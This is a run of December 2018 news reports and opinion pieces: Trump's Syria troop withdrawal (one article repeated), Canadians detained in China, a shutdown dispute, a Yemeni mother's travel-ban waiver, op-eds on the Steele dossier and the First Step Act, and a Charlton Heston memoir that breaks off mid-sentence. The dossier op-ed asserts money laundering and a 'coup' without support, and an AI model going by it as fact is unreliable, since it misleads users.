Donald J. Trump (@realDonaldTrump) December 20, 2018 In a subsequent Tweet, Trump questioned the US role in the Middle East and said that it was time for others to finally fight. Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight.. Donald J. Trump (@realDonaldTrump) December 20, 2018 Despite Trumps declaration that ISIL had been defeated, officials in France and the United Kingdom stressed the threat the armed group continues to pose to their interests. Much remains to be done and we must not lose sight of the threat they pose. Even without territory, Daesh (ISIL) will remain a threat, the UKs Foreign Office said in a statement on Wednesday. As the United States has made clear, these developments in Syria do not signal the end of the Global Coalition or its campaign. We will continue to work with members of the Coalition on achieving this. British junior defence minister, Tobias Ellwood was more blunt, retweeting a message from Trump that the group had been defeated in Syria with the words: I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive. Speaking on Thursday, Frances defence minister said that ISIL had been weakened but not defeated. Islamic State (ISIL) has been weakened more than ever, Florence Parly said on Twitter. But Islamic State has not been wiped from the map nor has its roots. It is necessary that the last pockets of this terrorist organisation be definitively defeated militarily. Frances European Affairs Minister Nathalie Loiseau said that French forces would remain in Syria for now. Its true that the coalition has made significant progress in Syria, but this fight continues, and we will continue it, she told CNews television. Israeli Prime Minister Benjamin Netanyahu, who remains concerned about Iranian efforts in the area, said Israel would escalate its fight against Iranian-aligned forces in Syria. Israel also worries that its main allys exit could reduce its diplomatic leverage with Russia, the Syrian governments big-power backer. We will continue to act very aggressively against Irans efforts to entrench in Syria, Netanyahu said in televised remarks, referring to an Israeli air campaign in Syria against Iranian deployments and arms transfers to the Lebanese armed group Hezbollah, carried out with Moscow often turning a blind eye. We do not intend to reduce our efforts. We will intensify them, and I know that we do so with the full support and backing of the United States. For the US NATO ally Turkey, however, news of the US withdrawal is likely to be welcome. Washington-Ankara relations have long been strained by differences over Syria, where the US has backed the Syrian Kurdish YPG group in the fight against ISIL. Turkey considers the YPG a terrorist group and an extension of the outlawed Kurdistan Workers Party (PKK). In the wake of Trumps declaration, Turkey escalated its rhetoric against the Kurds According to the Turkish state news agency Anadolu, Defence Minister Hulusi Akar told reporters on Thursday that Turkey was preparing intensely for a new military operation in parts of northeast Syria, where US forces are Right now it is being said that some ditches, tunnels were dug in Manbij and to the east of the Euphrates, he said. They can dig tunnels or ditches if they want they can go underground if they want, when the time and place comes they will be buried in the ditches they dug. No one should doubt this. Al Jazeeras Zeina Khodr, reporting from the Turkish capital Ankara, said the Kurdish forces have been left in a difficult position. Syrias Kurds, or in particular the YPG armed group, are vulnerable, they are left abandoned really, she said. The YPG, the SDF, were in talks with the Syrian government earlier this yeartrying to find some sort of arrangement. But the US intervened and pressured the Kurds to pull out of those negotiations, and now the US is pulling out its troops. So the Kurds are in a difficult position. What is next? This decision by US President Donald Trump gives Turkey the green light to operate in the northeast of Syria but many would argue a US green light is not enough, you need a green light from the Russian government as well. So we are going to see talks between Turkey, Russia, Iran on what is going to happen in this enclave. Will the area be divided into spheres of influence? One thing is certain. What Turkey wants is the YPG to move away from the border. So the biggest question is, who will take control of this border region. Will it be the Syrian government, or will it be Turkish-backed Syrian rebels. UK, France stunned, while Russia and Turkey sense opportunity to advance own agenda, as Trump says ISIL is defeated. In the wake of US President Donald Trumps announcement that he would pull troops out of Syria, some international allies have reacted with shock and dismay, while Russia and Turkey seemed to welcome a decision that could allow them to advance their own plans in Syria. Trumps decision to pull out completely was confirmed by US officials and is expected to take place in the coming months. There are currently about 2,000 US troops in Syria, most of them on a train-and-advise mission to support local forces fighting ISIL. Trumps declaration that the Islamic State of Iraq and the Levant (ISIL, also known as ISIS) group had been defeated was not endorsed by allies who have fought alongside the US in Syria. Rather, officials in France and the UK stressed the threat the armed group continues to pose to their interests. Much remains to be done and we must not lose sight of the threat they pose. Even without territory, Daesh (ISIL) will remain a threat, the UKs Foreign Office said in a statement on Wednesday. As the United States has made clear, these developments in Syria do not signal the end of the Global Coalition or its campaign. We will continue to work with members of the Coalition on achieving this. British junior defence minister, Tobias Ellwood was more blunt, retweeting a message from Trump that the group had been defeated in Syria with the words: I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive. Speaking on Thursday, Frances defence minister said that ISIL had been weakened but not defeated. Islamic State (ISIL) has been weakened more than ever, Florence Parly said on Twitter. But Islamic State has not been wiped from the map nor has its roots. It is necessary that the last pockets of this terrorist organisation be definitively defeated militarily. Frances European Affairs Minister Nathalie Loiseau said that French forces would remain in Syria for now. Its true that the coalition has made significant progress in Syria, but this fight continues, and we will continue it, she told CNews television. Israeli Prime Minister Benjamin Netanyahu, who remains concerned about Iranian efforts in the area, reacted in non-committal fashion after talking with Trump by telephone. This is, of course, an American decision, he said, adding that no matter what, we will safeguard the security of Israel and protect ourselves from this arena. For the USs NATO ally Turkey, however, the news is likely to be welcome. Washington-Ankara relations have long been strained by differences over Syria, where the US has backed the Syrian Kurdish YPG group in the fight against ISIL. Turkey considers the YPG a terrorist group and an extension of the outlawed Kurdistan Workers Party (PKK). In the wake of Trumps declaration, Turkey escalated its rhetoric against the Kurds According to the Turkish state news agency Anadolu, Defence Minister Hulusi Akar told reporters on Thursday that Turkey was preparing intensely for a new military operation in parts northeast Syria, where US forces are Right now it is being said that some ditches, tunnels were dug in Manbij and to the east of the Euphrates, he said. They can dig tunnels or ditches if they want, they can go underground if they want, when the time and place comes they will be buried in the ditches they dug. No one should doubt this. Al Jazeeras Zeina Khodr, reporting from the Turkish capital Ankara, said the Kurdish forces have been left in a difficult position. Syrias Kurds, or in particular the YPG armed group, are vulnerable, they are left abandoned really, she said. The YPG, the SDF, were in talks with the Syrian government earlier this yeartrying to find some sort of arrangement. But the US intervened and pressured the Kurds to pull out of those negotiations, and now the US is pulling out its troops. So the Kurds are in a difficult position. What is next? This decision by US President Donald Trump gives Turkey the green light to operate in the northeast of Syria but many would argue a US green light is not enough, you need a green light from the Russian government as well. So we are going to see talks between Turkey, Russia, Iran on what is going to happen in this enclave. Will the area be divided into spheres of influence? One thing is certain. What Turkey wants is the YPG to move away from the border. So the biggest question is, who will take control of this border region. Will it be the Syrian government, or will it be Turkish-backed Syrian rebels. Russia, which backs the Syrian government, has welcomed Trumps decision. The Russian news agency TASS reported the Russian Foreign Ministry as saying on Wednesday that the decision creates prospects for a political settlement in Syria. TASS also cited the ministry as saying that an initiative to form a Syrian constitutional committee had a bright future with the US troop withdrawal. Canada PM says arrest of third Canadian in China appears not to be related to the case of Huawei executive Meng Wanzhou. Canadian Prime Minister Justin Trudeau has urged caution and warned against political posturing as domestic pressure grows following the detention of the third Canadian in China amid a diplomatic dispute over the arrest of a Chinese technology executive. The detentions of the Canadians including the one disclosed on Wednesday followed the December 1 arrest in Vancouver of Meng Wanzhou, chief financial officer of the Chinese telecommunications giant Huawei. Mengs arrest was made at the request of the United States, which wants her extradited to face charges that she and her company misled banks about the tech firms alleged sanctions-breaking business dealings in Iran. The subsequent detentions of Michael Kovrig, a former Canadian diplomat, and Michael Spavor, a Canadian entrepreneur, on vague suspicion of engaging in activities that endanger the national security of China have raised suspicion that Beijing is holding them in retaliation for Mengs arrest. Former Canadian diplomats have said they believed the detentions were a tit-for-tat reprisal by China, however, no link has officially been made between the cases. Meng was released on bail last week in Vancouver. On Wednesday, Trudeau said the third Canadian detained does not seem to fit the pattern of the two previous ones, with no national security charges listed, and raised the possibility of it being a visa issue. There are tens of thousands of Canadians that live, travel and work in China, Trudeau told a year-end news conference, adding that officials were working to get more details. [The first two people arrested] were accused of serious crimes, problems regarding national security, intelligence, so those cases are more serious, Trudeau said. Weve only got the preliminary indications that its not linked to a matter of national security for the Chinese, he said, adding that the first two cases were very different from a routine case or a problem with a visa, for example. Enough is enough Asked at what point he might escalate his concerns to Chinese President Xi Jinping, Trudeau said political posturing or statements are not necessarily going to help those detained. Escalation or very strong political statements can actually end up being counterproductive, Trudeau said. Escalation and political posturing might be satisfactory in the short term to make yourself seem like you are stomping on the table and doing something significant, but it may not contribute to the outcome we all want. But opposition leader Andrew Scheer said, Enough is enough. Its time for the prime minister to pick up the phone, call President Xi, demand the safe return of Canadians held by Beijing. Any detention of Canadian citizens for political or diplomatic reasons is completely unacceptable, Scheer wrote on Twitter. 181208010817198 The arrest of Meng came amid efforts by the worlds two largest economies the US and China to resolve a bitter trade war and set off a diplomatic spat in which Canada is stuck in the middle. President Donald Trump complicated matters by saying he might intervene in the case if it would help clinch a US trade agreement with China much to the consternation of Canadian officials who said the arrest was not political and they were just following their extradition treaty obligations. Beijing has threatened Canada with grave consequences if Meng was not freed and Chinese state-run media has lashed out at the arrest saying it was politically motivated. No coincidences Bob Rae, Canadas special envoy to Myanmar and a former Liberal Party leader, on Wednesday wrote on Twitter that there are no coincidences and said the detentions looked too much like hostage taking. An official at the Chinese embassy in Ottawa said the embassy had no information to release on the issue. David Mulroney, a former Canadian ambassador to China, said it would be highly unusual if the third arrest is a coincidence. Its possible but I find it unlikely, he said. Mulroney said it would be a problem for Canada and China. One detention is bad enough. Two is terrible. Three underlines how ruthless China can be, he said. US Secretary of State Mike Pompeo, meanwhile, has called for China to release the Canadians, saying their detention was unlawful and unacceptable. Declaration of ISIL defeat in Syria and pulling out of troops angers top Republicans and surprises some foreign allies. President Donald Trump has announced the withdrawal of all 2,000 US troops from Syria as he abruptly declared victory over ISIL in the country in a move that contradicted his own experts assessments and sparked surprise and anger among senior fellow Republicans who railed against it. We have defeated ISIS in Syria, my only reason for being there during the Trump presidency, Trump said on Wednesday, referring to the armed group that once controlled vast areas of Syria and Iraq but is now confined to small pockets. US officials said many details of the troop withdrawal had not yet been finalised, but they expect their countrys forces to be out by mid-January. Washington began air raids in Syria in 2014, a year before US ground troops moved in to fight the Islamic State of Iraq and the Levant (ISIL, also known as ISIS) armed group and train Syrian rebels in the war-ravaged country. Later on Wednesday, Trump suddenly declared their mission accomplished, posting a video on Twitter in which he said is heartbreaking to have to write letters and make calls to the loved ones of those killed in battle. Now its time for our troops to come back home, said Trump, who has long stated a desire to bring soldiers based in Syria back to the United States. After historic victories against ISIS, its time to bring our great young people home! pic.twitter.com/xoNjFzQFTp Donald J. Trump (@realDonaldTrump) December 19, 2018 Turkey factor Trumps decision immediately triggered demands from Congress, including senior Republicans, for more information and a formal briefing on the matter. A senior administration official, speaking to reporters on condition of anonymity, said Trump made the unilateral decision based on his belief that US troops have no role in Syria beyond combatting ISIL. 181219185757375 The US president informed his Turkish counterpart, Recep Tayyip Erdogan, of his move in a telephone call, the official said, adding that Trump made his own decision and did not discuss the matter with Turkeys leader. Turkey, a NATO ally, has recently warned that it will launch combat operations across its southern border into northeastern Syria against an alliance of Kurdish and Arab groups known as the Syrian Democratic Forces, or SDF, who have been allied with the US in the battle against the ISIL. Syrian Democratic Forces and US troops are seen during a patrol near the Turkish border in Hasakah [File: Rodi Said/Reuters] The partnership with the SDF has outraged Ankara, which views the US-backed Kurdish Peoples Protection Units (YPG) as an extension of an armed group fighting inside Turkey. In recent days, Turkey again voiced frustration about what it says are delays in the implementation of a deal with the US to clear the YPG from the town of Manbij, located west of the Euphrates in YPG-controlled areas. 181029102112796 Al Jazeeras Alan Fisher, reporting from Washington, DC, said Washington insists that there was no negotiation between the US and Turkish presidents, but added that certainly there are those in the House and the Senate who are drawing direct lines from that conversation to Trumps decision. They are also suggesting that Trump is doing this as a favour to Turkey the reason he wants Turkey onside, perhaps, is to ease the pressure on Saudi Arabia, particularly over the death of Jamal Khashoggi, said Fisher, referring to the October 2 murder of the Saudi journalist inside the kingdoms consulate in the Turkish city of Istanbul. Britain, meanwhile, said it strongly disagreed with Trump that ISIL had been defeated in Syria, while Israeli Prime Minister Benjamin Netanyahu said Israel would study the decision and would ensure its own security. In Russia a major ally of Syrian President Bashar al-Assad, along with Iran TASS news agency quoted the foreign ministry as saying that withdrawing US troops from Syria created prospects for a political settlement. A US military vehicles drives in the Syrian town of Darbasiya next to the Turkish border [File: Rodi Said/Reuters] Bad idea Trumps declaration of victory was far from unanimous and officials said US defence and military leaders were trying to dissuade him from ordering the withdrawal right up until the last minute. News of a full withdrawal drew immediate criticism from some of Trumps fellow Republicans, who said that leaving strengthened the hand of al-Assad allies, Russia and Iran. Senator Lindsay Graham, typically a Trump backer, called the decision a disaster in the making. He added: The biggest winners in this are ISIS and Iran. Marco Rubio, another Republican senator, called the move a grave error adding that Kurdish fighters will stop fighting ISIL when they had to confront Turkish troops crossing the border into Syria. This is a bad idea because it goes against the fight against ISIS and potentially helps ISIS, he said, warning it could trigger a broader conflict in the region. Now that the US has withdrawn or is going to withdraw from Syria, we have basically turned the country over to Russia and, to an even greater extent, Iran. But fellow Republican Senator Rand Paul backed Trumps decision. For the first time in my lifetime, we have a president with the courage to declare victory and bring our troops home, he told reporters. Acting prematurely? Bob Corker, the outgoing chairman of the Senate foreign relations committee, whose meeting with Trump on Wednesday was cancelled without explanation at the 11th hour, called the move a terrible thing for the US, its allies and SDF. Ive never seen a decision like this since Ive been here in 12 years, he told reporters. Its hard to imagine that any president would wake up and make this kind of decision with this little communication, with this little preparation, he said. 181201062722726 Trumps decision also sparked calls by the SDF in Manbij for demonstrations against his move. In late September, Trump heralded the sacrifices the Kurds had made in the fight against ISIS, We do get along great with the Kurds, he told a press conference. Were trying to help them a lot. They fought with us. They died with us. They died. We lost tens of thousands of Kurds, died, fighting ISIS. Speaking to Al Jazeera, Lawrence Korb, a former assistant secretary of defence, said Trumps decision sends a message that we dont stick with people, our friends. Without the Kurds and the Syrian Democratic Forces, we couldnt have beaten ISIS, we couldnt have taken back [the Syrian cities of] Kobane and Raqqa because we were not willing to commit all of those troops that were necessary. Military leaders have pushed back against a withdrawal for months, arguing that ISIL remains a threat and could regroup in Syrias long-running war. US policy has been to keep troops in place until ISIL is eradicated. Just last week, Brett McGurk, US special envoy to the anti-ISIL coalition, said US soldiers would remain in Syria even after ISIL was driven from its strongholds. I think its fair to say Americans will remain on the ground after the physical defeat of the caliphate, until we have the pieces in place to ensure that that defeat is enduring, McGurk told reporters on December 11. Nobody is declaring a mission accomplished. Defeating a physical caliphate is one phase of a much longer-term campaign. Meanwhile, US Marine Corps General Joseph Dunford, chairman of the Joint Chiefs of Staff, cautioned earlier in December that the US had trained only about 20 percent of Syrian forces required to stabilise areas captured from ISIL. Al Jazeeras Fisher said: There is concern certainly on Capitol Hill that Trump is acting a bit prematurely. Its just two months ago that John Bolton, his national security adviser, gave a speech in New York that US troops will stay in Syria as long as Iranian presence was outside their own borders and that was a sign of the US policy in the region, that they were determined to confront Iran and certainly determined to stop Iran from gaining a bigger foothold inside Syria itself. Last one percent ISIL declared its so-called caliphate in 2014 after seizing large swaths of Syria and Iraq. It established its de facto capital in the Syrian city of Raqqa. 181214104213461 According to US estimates, the group oversaw about 100,000 square kilometres of territory, with about eight million people under its control. It had estimated revenues of nearly $1bn a year. McGurk said last week that the group was down to the last one percent of the territory it once held in its self-styled caliphate. The group has no remaining territory in Iraq. Hajin, the groups last major stronghold in Syria, is close to being seized by US-backed SDF forces. After losing Hajin, ISIL will control a diminishing strip of territory along the eastern bank of the Euphrates. The group also controls some desert terrain west of the river in territory otherwise controlled by the Damascus government and its allies. The complete withdrawal of US troops from Syria would still leave a sizeable US military presence in the region, including about 5,200 troops across the border in Iraq. Much of the US campaign in Syria has been waged by fighter jets flying out of Qatar and other locations in the Middle East. Still, US Secretary of Defense Jim Mattis and US State Department officials have long fretted about leaving Syria before a peace agreement can be reached to end that countrys brutal war, which has killed hundreds of thousands of people and displaced around half of the prewar population of about 22 million. In April, Mattis said, We do not want to simply pull out before the diplomats have won the peace. You win the fight and then you win the peace. ISIL is also widely expected to revert to guerrilla tactics once it no longer holds territory. A US withdrawal could open Trump up to criticism if ISIL reemerged. Trump has previously lambasted his predecessor, Barack Obama, for the withdrawal of US forces from Iraq that preceded an unravelling of the Iraqi armed forces. Iraqi forces collapsed in the face of ISILs advance into the country in 2014. Speaker of the House Paul Ryan says Trump will not sign bill, citing dispute over border wall funding. US President Donald Trump will not sign a temporary spending bill to keep the government open, Speaker of the House Paul Ryan said on Thursday. Ryan cited Trumps dispute with Democrats over funding for his proposed border wall. Ryans comments came after he and other House Republicans spoke to Trump on Thursday. According to US media, Republican leaders had thought they had come to a compromise to avert a government shutdown, but White House Press Secretary said, We urgently need funding for border security and that includes a wall. Trump sent mixed signals this week on whether he was willing to shut down the government if he did not get the $5bn he requested to help build the proposed wall on the southern border of the United States. 181210211443443 After Trump previously said he would be proud to shut down the government for border security, the White House appeared to walk back on the presidents comments on Monday, signalling that the administration had found an alternative way to get the money needed for the wall. On Thursday morning, however, as the midnight Friday deadline for a funding bill loomed, Trump again lashed out at Democrats, tweeting that he would not sign any of their legislation, including infrastructure, unless it has perfect Border Security. Government shutdown looms Democrats have insisted that funding for the wall is a non-starter, and they would instead be willing to allocate money for other less expensive border security projects, including fences. Politicians had hoped Trump would sign a temporary funding bill that would have kept the government open until February 8. But some Republicans said it would be better to fight for the border wall now as Democrats are set to take control of the House in the new year. If a deal is not made before the deadline, more than 800,000 federal workers would face furlough or be forced to work without pay, disrupting government operations before the holidays. CNN, citing an unnamed senior administration official, reported that the administration had started the process of notifying government employees who may be affected by a potential government shutdown. Without commenting on US troop withdrawal, Erdogan and Rouhani vow to continue efforts to bring peace to country. Turkish President Recep Tayyip Erdogan and Iranian counterpart Hassan Rouhani on Thursday vowed to work closer to end the fighting in Syria. But the two leaders made no comment on US President Donald Trumps announcement that he was pulling US troops out of the war-ravaged nation, declaring a victory over the Islamic State of Iraq and the Levant (ISIL, also known as ISIS). Trumps decision signifies an end to the US air campaign against ISIL, US officials told Reuters, speaking on condition of anonymity. Rouhani and Erdogan held a joint press conference after meeting each other in Ankara. The fate of Syria should be determined only by the people of Syria. Everyone should respect Syrias territorial integrity and we (Iran and Turkey) completely agree on this, Rouhani said. Rouhani said Iran, Turkey and Russia will continue with the Astana negotiations on Syrias future, with the next summit to be held in Russia. Iran and Russia have provided crucial military aid to Syrian President Bashar al-Assad, while Turkey supports the opposition. 181220112757906 Turkey, despite its differences with Iran and Russia over Syria, has worked closely with both countries to find a political solution to the war through the Astana process launched last year. Turkey has recently warned that it will launch combat operations across its southern border into northeastern Syria against an alliance of Kurdish and Arab groups known as the Syrian Democratic Forces, or SDF, who have been allied with the US in the battle against the ISIL. The US partnership with the SDF has outraged Ankara, which views the US-backed Kurdish Peoples Protection Units (YPG) as an extension of an armed group fighting inside Turkey. US sanctions on Iran Meanwhile, Rouhani thanked Erdogan for his support against Washingtons unilateral and illegal sanctions. This US action against Iran is a 100-percent terrorist act, said Irans president. 181220113100797 In August, the US re-imposed a first round of sanctions that mainly targeted Irans banking sector. A second phase of sanctions targeting Irans energy sector came into effect on November 5, although Washington granted a 180-day reprieve to the eight largest buyers of Iranian oil, including Turkey. The leaders agreed on continuous cooperation in the areas of industry, transportation, energy, tourism and culture, Rouhani said. For his part, Erdogan said Turkey and Iran should strengthen their bilateral relations to reach $30bn targeted bilateral trade volume. He also said that the Turkey-Iran cooperation bore fruit during the Astana peace talks process with the participation of Russia. We need to increase our efforts to ensure permanent peace that will embrace Syria and whole Syrian people, he said. For many people, the sense of Germany being a target is fading. As Germany remembered the victims to mark the second anniversary of the attack on Berlins Christmas Market on Thursday, people now feel the city is more secure since the incident. Security and police checks have since been stepped up. For many people, the sense of their country being a target is fading. Al Jazeeras Dominic Kane reports from Berlin. Shaima Swileh had been prevented from seeing two-year-old son with rare brain disorder due to the US travel ban. A Yemeni woman who fought for the right to see her dying son has arrived in the United States after the Trump administration gave her a waiver to its travel ban. Shaima Swileh was mobbed by well-wishers at San Francisco International Airport in California on Wednesday. This is a difficult time for our family but we are blessed to be together, the boys father, Ali Hassan, said at the airport. I ask you to respect our privacy as we go to be with our son again. Hassan and Swileh were then driven to see their two-year-old son, Abdullah, at the childrens hospital where the boy is on life support. The US State Department granted Swileh a waiver on Tuesday after lawyers with the Council on American-Islamic Relations (CAIR) sued this week. Swilehs case prompted widespread outrage after reports surfaced that the young mother had been waiting for more than a year for a decision on a visa waiver. Swilehs visa application was rejected last year because of restrictions introduced in the travel ban, which bars individuals from several Muslim-majority countries from entering the US. Hassan had previously said that he had requested that the Department of State expedite a decision on Swilehs visa waiver plea so she could say goodbye to their son Abdullah, who has a rare degenerative brain disease and may not survive much longer. Reporting from San Francisco International Airport, Al Jazeeras John Hendren said the case put renewed focus on the Trump administrations travel ban. I think it put the travel ban into perspective in a really simple way that people can easily understand, he said. It forbids people from a huge swathe of the world from entering the United States for no reason other than their country of origin. In this case, when they tried to seek a waiver, it took so long that their child was literally at deaths door by the time that the mother arrived. In the words of many people weve talked to here, this is not a fair process. The lawyer says that the waiver process is a sham, so a lot of people here feel discriminated against for no other reason than that they are Muslim. That is what they are telling us today, Hendren said. 180923161416653 While Hassan and Abdullah are US citizens, Swileh has Yemeni citizenship. The couple moved to Egypt after marrying in war-torn Yemen in 2016 and had been trying to get a visa for Swileh since 2017 so the family could move to California. When the boys health worsened, Hassan went ahead to California in October to get their son help. As the couple fought for a waiver, doctors put Abdullah on life support. In addition to nationals of Yemen, the most recent version of US President Donald Trumps travel ban prohibits entry to the US by most people from Iran, Libya, Somalia and Syria. It also affects visitors from North Korea and some travellers from Venezuela. Rights groups sought to overturn the ban in the US Supreme Court, claiming it was biased against Muslims. But the top court rejected the petition in June. The infamous Steele Dossier seems to have assumed a permanent place in American presidential politics. Just this week the Dossier was cited by numerous pundits in the mainstream media as proof of Trump-Russia collusion. In the remote event you missed it, the Dossier is a compilation of salacious allegations against President Trump made by unnamed Russian sources and compiled by Christopher Steele, a former British spy and one-time FBI informant. For unknown reasons, Steele was reportedly desperate to prevent Trumps election. He was not alone in his angst. Erstwhile Russian involvement is critical to the Resistance claim that the 2016 election was illegitimate. Too bad for the claim, none of the Steele allegations have been verified despite two years of heroic media effort. Yahoo News pundit Michael Isikoff, one of the first to break the story in 2016, has admitted Steeles allegations are likely false. Former FBI Director James Comey has testified that FBI had been unable to verify any of the allegations. Steele himself testified under oath to British authorities that he too is unable to verify any of the Dossiers claims. Yet the media still uses the Dossier to make its case for collusion. This is not to say the Russians didnt try to interfere in the U.S. elections, only that the Steele Dossier provides no proof of Trump-Russia collusion. Neither do the reported findings to date of the Mueller probe. The DoJ indictment of Russian agents for attempted interference explicitly rules out witting involvement of any Americans. The indictments also disavow that any votes were corrupted by Russian efforts. Steele was hired to develop the dossier by opposition-research firm Fusion GPS, a client of the Perkins-Coie law firm. Perkins-Coie was in the employ of the Democratic National Committee and the Hillary Clinton campaign organization. The GPS-Fusion dossier project was managed by company founder Glenn Simpson and employee Nellie Ohr, wife of senior Department of Justice official Bruce Ohr. The dossier was paid for by DNC/Clinton via a money-laundering pathway. Neither the DNC nor Hillary Clinton were disinterested observers. Where the story really gets interesting is what senior law enforcement and intelligence managers did with the Dossier. They did two things that should disturb any responsible citizen: First, they participated in the leaking of the dossiers allegations to the media. Leaking information pursuant to an FBI investigation is irregular at best, and likely illegal. Second, they used the Dossier as evidence of probable cause in support of multiple applications for a FISA warrant to spy on U.S. citizen Carter Page, a one-time advisor to the Trump campaign. The FISA warrant applications failed to clearly spell out either the funding source or the lack of corroborating evidence. The root questions of course are whether or not Russia changed our 2016 election results and whether or not candidate Trump -- or any other American -- helped them do it. There is, as indicated above, no evidence votes were changed. But there is evidence of collusion. First the Trump side: Members of the Trump campaign met with Russian attorney Natalia Veselnitskaya in the Trump Tower, ostensibly to obtain dirt on Hillary Clinton. No dirt was provided. Veselnitskaya instead lobbied for repeal of the U.S. Magnitsky Act, offering as she had in the past for the Russian government to ease punitive restrictions on the adoption of Russian orphans. But there is no question Trump campaign officials, perhaps Trump himself, were at least willing to deal in Russian dirt. No crime here, but nothing to brag about either. Now the Democratic side: As we have seen, the DNC and the Clinton campaign organization went to extraordinary lengths to hide their efforts to plant disinformation unfavorable to the Trump campaign. Certainly, Clinton could argue she herself hadnt sat with any Russians since resigning from the State Department. But the money trail from her campaign through Perkins-Coie and Fusion GPS to the hypothetical Russians tells the tale. Worse, DNC and the Clinton campaign clearly colluded with senior U.S. government officials to influence the election and, later, to effect a coup against the Trump administration. This is a whole lot worse than merely being willing to receive opposition-research dirt. There is one more entry in the Democratic account: Russian attorney Veselnitskaya is reported to have attended meetings with Fusion GPS, immediately before and just after her meeting in Trump Tower. What was the purpose of these sit downs? In the end, the Steele Dossier is evidence of disinformation efforts, not Trump-Russia collusion. Next time you hear media pundits touting the Dossier as proof of anything, you should know its just the Resistance taking another sip of the Kool-Aid. Just in time for the Christmas holiday which symbolizes the opportunity for hope and renewal for tens of millions of Americans the Senate has delivered another occasion for many across the country to be hopeful: a major, bipartisan victory on criminal justice reform. The "First Step Act," which passed by an overwhelming 87-12 vote, is the culmination of years' worth of work by lawmakers and stakeholders from across the political spectrum and is the most significant such piece of legislation in a generation. The First Step Act is also a big win for President Donald Trump, who has long supported efforts to revamp the federal prison system given his campaign promise to fight for America's "forgotten men and women" and his desire to "reduce crime while giving our fellow citizens a chance at redemption." At the federal level, the need for redemption is sorely apparent, and this bill was founded upon that and other hard realities. Currently, about 95 percent of those who ever enter prison will leave one day regardless of their offense. Unfortunately, as many as two thirds of them will return to communities nationwide and commit another offense within five years. The purpose of the corrections system is to correct behavior, but it's obvious that prisons are not living up to their charter. By any objective standard, but especially to those of us who prize law and order as the backbone of a safe and civil society, such an abysmal record is an abject failure. Conservatives particularly those in Southern red states who have led on crime reduction and justice reform for over a decade are the ones that have earned the credibility to address and fix such a broken state of affairs. Indeed, conservatives have been involved in this congressional effort since the beginning to help balance the need for public safety and rehabilitation. There are two main provisions of the First Step Act: prison reform and modest sentencing reforms. Prisons should not simply be warehouses for those who have broken the law; what prisoners do while in lockup matters. Because so many prisoners do eventually get released, it behooves society to make attempts to incentivize as many inmates as possible to meaningfully change their behavior. Prison reforms in this bill encourage those who are willing to take ownership over themselves to participate in various forms of programming job and vocational training, substance abuse and mental health treatment, faith-based ministry, etc. in exchange for time credits used to spend a portion of their sentence in halfway houses or home confinement. This is not "early release" or a "jailbreak," as much misdirection has led some to believe. There are over 60 violent offenses or classes of offenses that are statutorily excluded from all time credits; all participants must have been validated by risk assessment as being low to moderate risk; and all participants remain under tight supervision by the Bureau of Prisons. Recidivism is a stubborn problem. This sort of programming has been successful at the state level in bending re-offense rates down, and even modest improvements could yield thousands of fewer crimes and fewer victims over time. To do nothing would have been to acquiesce to continued mediocrity and potential tragedy. Meanwhile, the First Step Act contains four sentencing provisions that ease some the worst excesses of federal mandatory minimums, including the retroactive application of previous legislation that reduced sentence disparities between crack and powder cocaine and an expansion of the judicial "safety valve." Many mandatory sentences that offenders receive are so absurdly punitive relative to their crimes that judges have been increasingly vocal in their disapproval of them, one calling them "unjust, cruel, and even irrational." Disproportionate sentences undermine the moral legitimacy of our laws and can imprison people longer than is necessary to achieve any public safety benefit. In other words, fairness is an indelible aspect of American justice. These fixes will help reclaim that axiom. Past administrations mounted an ineffective, 11th-hour foray into criminal justice reform that failed to build important coalitions and leverage growing momentum. President Trump along with leaders in Congress has now delivered. We must do better than to simply punish the wrongdoer yet fail to minister to the redeemable person. Both are possible at the same time, and the First Step Act will help achieve both. Ken Blackwell, a former mayor of Cincinnati, was a domestic policy adviser to the Trump Presidential Transition Team. Years ago, I had the pleasure of meeting the actor Charlton Heston. Charlton Heston was a screen legend, but he was also well known for his activism both early and later in his career before his life was cruelly cut short by Alzheimers disease. Heston got his start in the "Golden Age" of Hollywood. This was circa the late 1940s and 1950s. From the '50s on Heston jumped from one iconic role to another. Naming a few in the 1950s, there was Ben-Hur and The Ten Commandments. In the 1960s, Planet of the Apes and in the 1970s came Soylent Green and Midway, all classic films. Along the way, Heston became a figure of controversy as one of the few celebrities who took a stand with Dr. Martin Luther King Jr during the civil rights movement. Time has rewarded his contributions and noted them as courageous. In his later life, Heston was again a figure of controversy when he became president of the National Rifle Association and was a fervent advocate of the 2nd Amendment rights. Heston never really conformed to traditional political lines and was known to endorse and campaign for both Republican and Democrat political candidates. I met him in the year 2000. I was just entering my teens. I had been raised watching the films of yesteryear, and Ben-Hur and The Buccaneer ranked among my favorites. At that time Heston was promoting a book he had written titled The Courage to be Free, which described standing up for one's beliefs in the face of adversity. Heston was speaking at the Richard Nixon library in Southern California. The event was well publicized, it was a packed house with hundreds in attendance. It is comical looking back, because I realized that I was the only kid at the event and no one else under the age of 45 was there. As we prepared to enter the auditorium, Heston walked past the crowd with a few assistants and security. As he approached where I stood he turned and stopped, he looked in my direction, smiled and greeted me while extending his hand. I was shocked and almost speechless, but I managed to say hello and shake his hand. He then said farewell and continued on, not speaking to anyone else. A few minutes later in the crowded auditorium, Heston came on stage. I knew he had a condition called Genu valgum, which is commonly called "knock-knee, but he had learned to make allowances for it and it was scarcely even noticeable. What followed was a fun and charming speech that covered portions of his new book, stories from his past, and commentary on the current political landscape. The part of his remarks centered on his role as Ben-Hur. He told stories about the movie set, the props they had used, and how he filmed particular scenes. One portion of his remarks has really stuck with me through the years. It came near the end and Heston used it to circle back around to the original theme of his talk. He was speaking about the famous chariot race in Ben-Hur. He described the difficulty in filming it and the training he had to go through to be able to accomplish it. He humorously said the best piece of advice he received while filming was how to succeed in the race scene. It was from his trainer who told him, "Just stay in the damn chariot!" After he finished his remarks, my parents picked up the book for me and we waited in line. As we all waited, Heston came walking through the breezeway, once more flanked by his security and attendants. He passed me and he again stopped, and walked over to me and shook my hand, thanking me for coming before continuing on his way. I could see how other people were slightly jealous that he had only stopped to say hello to me, and I was totally stunned that I had been greeted by my idol not once but twice! The line began moving and we slowly snaked our way around the corridor. I approached the table and he took my book and signed it, looking up he smiled and humorously said: "We have to stop meeting!" I laughed as he yet again shook my hand. He was gracious enough to spare a moment while I told him how much I loved him in The 